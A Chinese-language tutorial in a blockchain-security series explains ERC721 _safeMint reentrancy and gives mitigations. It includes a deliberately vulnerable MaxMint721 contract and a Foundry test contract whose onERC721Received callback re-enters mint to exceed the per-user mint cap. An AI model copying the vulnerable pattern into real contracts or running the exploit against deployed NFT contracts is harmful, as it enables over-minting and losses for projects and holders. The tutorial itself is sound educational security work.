区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】
区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】
- 1.1 漏洞分析
- 1.2 漏洞合约
- 1.3 攻击分析
- 1.4 攻击合约
重点:MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _checkOnERC721Received 函数,触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数。to 地址是自己传入,因此可以再次调用 mint 函数,从而实现重入攻击。
1.1 漏洞分析
- MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _safeMint 函数
2. 而 _safeMint 会进一步调用 _checkOnERC721Received 函数,最终触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数,而to地址是可以传入的。
- 在 onERC721Received 中,可以再次调用 mint 函数,从而实现重入攻击。
1.2 漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "../../lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
/*
名称:未保护的回调 - ERC721 SafeMint 重入漏洞 Unprotected callback - ERC721 SafeMint reentrancy
描述:
ContractTest 合约利用回调功能绕过了 MaxMint721 合约设置的最大铸造限制。
通过触发 onERC721Received 函数,该函数内部再次调用了 mint 函数。
因此,尽管 MaxMint721 尝试限制用户可以铸造的最大代币数量(MAX_PER_USER),
但 ContractTest 合约仍然成功铸造了超过限制的代币数量。
场景:
本练习展示了一个通过回调函数铸造更多 NFT 的合约漏洞。
缓解措施:
遵循检查-效果-交互模式(check-effect-interaction),并使用 OpenZeppelin Reentrancy Guard。
参考资料:
https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a
https://www.paradigm.xyz/2021/08/the-dangers-of-surprising-code
*/
contract MaxMint721 is ERC721Enumerable {
uint256 public MAX_PER_USER = 10;
constructor() ERC721("ERC721", "ERC721") {}
function mint(uint256 amount) external {
require(
balanceOf(msg.sender) + amount <= MAX_PER_USER,
"exceed max per user"
);
for (uint256 i = 0; i < amount; i++) {
uint256 mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
}
1.3 攻击分析
- 在攻击合约中重写 onERC721Received 函数,并在函数内调用 MaxMint721.mint 函数。
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
console.log(
"Unprotected-callback_Attack-onERC721Received()-complete:",
i
);
// 只有第一次调用onERC721Received函数的时候触发mint函数,不然会无限循环
if (!complete) {
complete = true;
MaxMint721Contract.mint(9);
console.log("Called with :", 9);
console.log("in complete:", complete);
}
return this.onERC721Received.selector;
}
-
将攻击合约地址作为 to 参数传入 ERC721 的 _checkOnERC721Received 函数。
-
由于 MaxMint721.mint 会调用 _checkOnERC721Received,从而触发攻击合约的 onERC721Received 函数,形成重入攻击。
function mint(uint256 amount) {
_safeMint(msg.sender, mintIndex);
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
require(
_checkOnERC721Received(address(0), to, tokenId, data)
);
}
function _checkOnERC721Received( ) {IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) }
function onERC721Received() {
MaxMint721Contract.mint(9);
}
-
输出结果
-
整个流程如下
1.4 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "./Unprotected-callback.sol";
contract ContractTest is Test {
MaxMint721 MaxMint721Contract;
address Koko;
address Aquarius;
bool complete;
uint256 i;
function setUp() public {
MaxMint721Contract = new MaxMint721();
// Koko = vm.addr(1);
// Aquarius = vm.addr(2);
// vm.deal(address(Koko), 1 ether);
// vm.deal(address(Aquarius), 1 ether);
i = 0;
console.log("Unprotected-callback_Attack-setUp()-complete:", i);
}
function testUnprotectedcallback() public {
console.log(
"Unprotected-callback_Attack-testUnprotectedcallback()-address(this):",
address(this)
);
uint256 balance;
balance = MaxMint721Contract.balanceOf(address(this));
console.log(
"11-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",
balance
);
MaxMint721Contract.mint(10);
balance = MaxMint721Contract.balanceOf(address(this));
console.log(
"22-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",
balance
);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
console.log(
"Unprotected-callback_Attack-onERC721Received()-complete:",
complete
);
// 只有第一次调用onERC721Received函数的时候触发mint函数,不然会无限循环
if (!complete) {
complete = true;
MaxMint721Contract.mint(9);
console.log("Called with :", 9);
}
return this.onERC721Received.selector;
}
}